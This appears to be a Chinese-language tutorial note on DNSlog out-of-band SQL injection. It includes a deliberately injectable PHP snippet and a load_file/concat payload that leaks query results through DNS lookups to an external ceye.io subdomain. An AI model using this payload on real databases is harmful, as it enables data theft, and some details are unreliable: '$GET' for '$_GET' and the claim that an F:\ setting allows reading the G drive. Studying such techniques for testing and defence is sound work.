SQL注入笔记 07#

sql_dnslog注入##

什么是DNS?

DNS全称Domain Name System,是一个域名解析服务器,域名本身就是一个名字,网站都是存放在服务器上的,服务器分配ip,域名服务器是指保存有该网络中有所有主机的域名和对应ip地址,并具有将域名转换为ip地址功能的服务器。当服务变多的时候 ip地址对应各个端口的服务就很难去让人记住,这个时候就要产生了DNS服务,即域名解析服务。

DNSlog就是DNS服务记录的对应域名访问的信息。

DNSlog注入原理


    

        $id=$GET['id'];
        $sql="select * from users where id='$id' limit 0,1";
        $result=mysql_query($sql);
        $row=mysql_fetch_array($result)
        if($row)
        {

              echo "Right";
        }
       else
        {

              echo "Wrong";
        }   

    

代码中存在SQL注入漏洞,然而页面不会回显数据,也不会回显错误信息。

我们通过布尔或者时间延时注入都可以获取到内容,但是整个过程效率低,需要发送很多的请求去进行判断,很有可能会触及到安全设备的防护。 这时候我们需要一种方式,减少请求,直接回显数据,这里我们可以使用DNSLOG注入。

测试平台

http://ceye.io/,这是一个免费的记录dnslog的平台,系统会分配一个二级域名给你,我们把注入语句写到三级域名上,后台就会把回显的信息记录下来。

DNSlog注入只能在Windows环境下进行,因为它需要用拿到load_ile()函数。一般需要root权限,

1.当secure_file_priv为空,就可以读取磁盘的目录。

2.当secure_file_priv为F:\,就可以读取G盘的文件。

3.当secure_file_priv为null,load_file就不能加载文件。

可以通过修改my.ini添加secure_file_priv=””

核心语法:select load_file(concat(‘\',(sql语句),’.nmeyx0.ceye.io\abc’));

我们要注意,这些数据格式和内容都是有限制的,一些特殊符号不能有, 例如@、:、~等,需要进行一些处理。

赞 赏